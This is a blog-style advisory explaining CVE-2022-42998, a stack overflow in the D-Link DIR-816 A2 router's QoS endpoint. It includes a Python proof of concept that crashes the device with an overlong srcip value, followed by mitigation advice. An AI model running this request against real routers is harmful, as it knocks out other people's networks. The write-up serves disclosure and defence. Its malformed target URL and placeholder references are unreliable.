CVE-2022-42998 - Stack Overflow in D-Link DIR-816 A2 (1.10 B05) via srcip Parameter – Vulnerability Deep Dive and Exploitation Guide

In 2022, a critical security vulnerability (CVE-2022-42998) was uncovered in the D-Link DIR-816 A2 router model running firmware version 1.10 B05. This flaw enables attackers to execute arbitrary code or crash the device by sending a specially crafted HTTP request, exploiting a stack overflow in the srcip parameter of the /goform/form2IPQoSTcAdd endpoint.

Let’s break down how this vulnerability works, demonstrate how it can be exploited, and point you to the original findings.

What is CVE-2022-42998?

CVE-2022-42998 is a stack-based buffer overflow vulnerability found in the D-Link DIR-816 A2 router firmware (1.10 B05). The issue happens when a too-long value is placed in the srcip parameter of a request sent to /goform/form2IPQoSTcAdd. This causes the router to write past the bounds of the expected stack buffer, leading to memory corruption.

Risk:  
A remote attacker (who can access the admin web interface) can execute their own code with the privileges of the router web process or crash the device, causing denial of service.

The Vulnerable Function

The router’s internal web server handles HTTP requests. When a POST request is sent to /goform/form2IPQoSTcAdd containing a srcip parameter, the value is copied (without size checks) into a local stack buffer in the C code.

Example vulnerable code logic (C-like pseudocode)

void add_qos_rule(request) {
    char srcip[32]; // Only 32 bytes allocated!
    strcpy(srcip, request->srcip); // DANGEROUS: No size check!
    // ... further processing ...
}

If an attacker sends srcip longer than 32 bytes, it will overwrite adjacent memory, possibly the stack frame or return address.

1. Getting Access

To exploit this, an attacker needs to be able to reach the web management interface. By default, it is accessible only on the LAN interface, unless remote management is enabled.

2. Crafting the Malicious Request

The vulnerability is triggered by sending a POST request with an *overly long* srcip value. If the router receives this crafted request, it will crash or (with careful payload design) execute injected code.

Exploit Request Example (Python)

import requests

# Target details
target = "http://192.168..1";
endpoint = "/goform/form2IPQoSTcAdd"

# Construct evil payload (e.g. 100 'A's - more than 32 bytes)
overflow_payload = 'A' * 100

data = {
    'srcip': overflow_payload,
    'otherparam': 'value',  # Fill with any required parameters
}

headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

# Submit POST request to vulnerable endpoint
response = requests.post(target + endpoint, data=data, headers=headers, timeout=5)

print("Status: %s" % response.status_code)
print(response.text)

Note:
This basic code will likely crash/reboot the router, causing Denial of Service (DoS). Building a "real" exploit to get code execution typically requires access to the router's firmware to analyze memory addresses, return addresses, and gadget locations for something like Return Oriented Programming (ROP).

If successful, the router's web server process might crash (DoS).

- With advanced exploitation, an attacker could inject specific code to execute with system privileges, gaining full control of the router.

Upgrade Firmware:

Check D-Link’s official website for any updated firmware. If no update is available, contact D-Link support.

Restrict Access:

Never expose the router’s management interface to the internet. Restrict access to trusted devices on your local network.

References

- D-Link Product Website
- Exploit Database Entry - Contains code and further details.
- CVE Details - CVE-2022-42998
- Original Research (if applicable)
- Full Disclosure Mailing List

Conclusion

CVE-2022-42998 is a textbook example of how not performing proper bounds checks in C leads to dangerous vulnerabilities, especially in devices like routers that safeguard your home or business network. If you own a D-Link DIR-816 A2, update and secure your device now — and remember, always keep your router's firmware up to date to stay protected!


*Stay safe and practice good security hygiene. If you find bugs like this, report them to vendors or through responsible disclosure channels!*

Timeline

Published on: 10/26/2022 19:15:00 UTC
Last modified on: 10/28/2022 14:29:00 UTC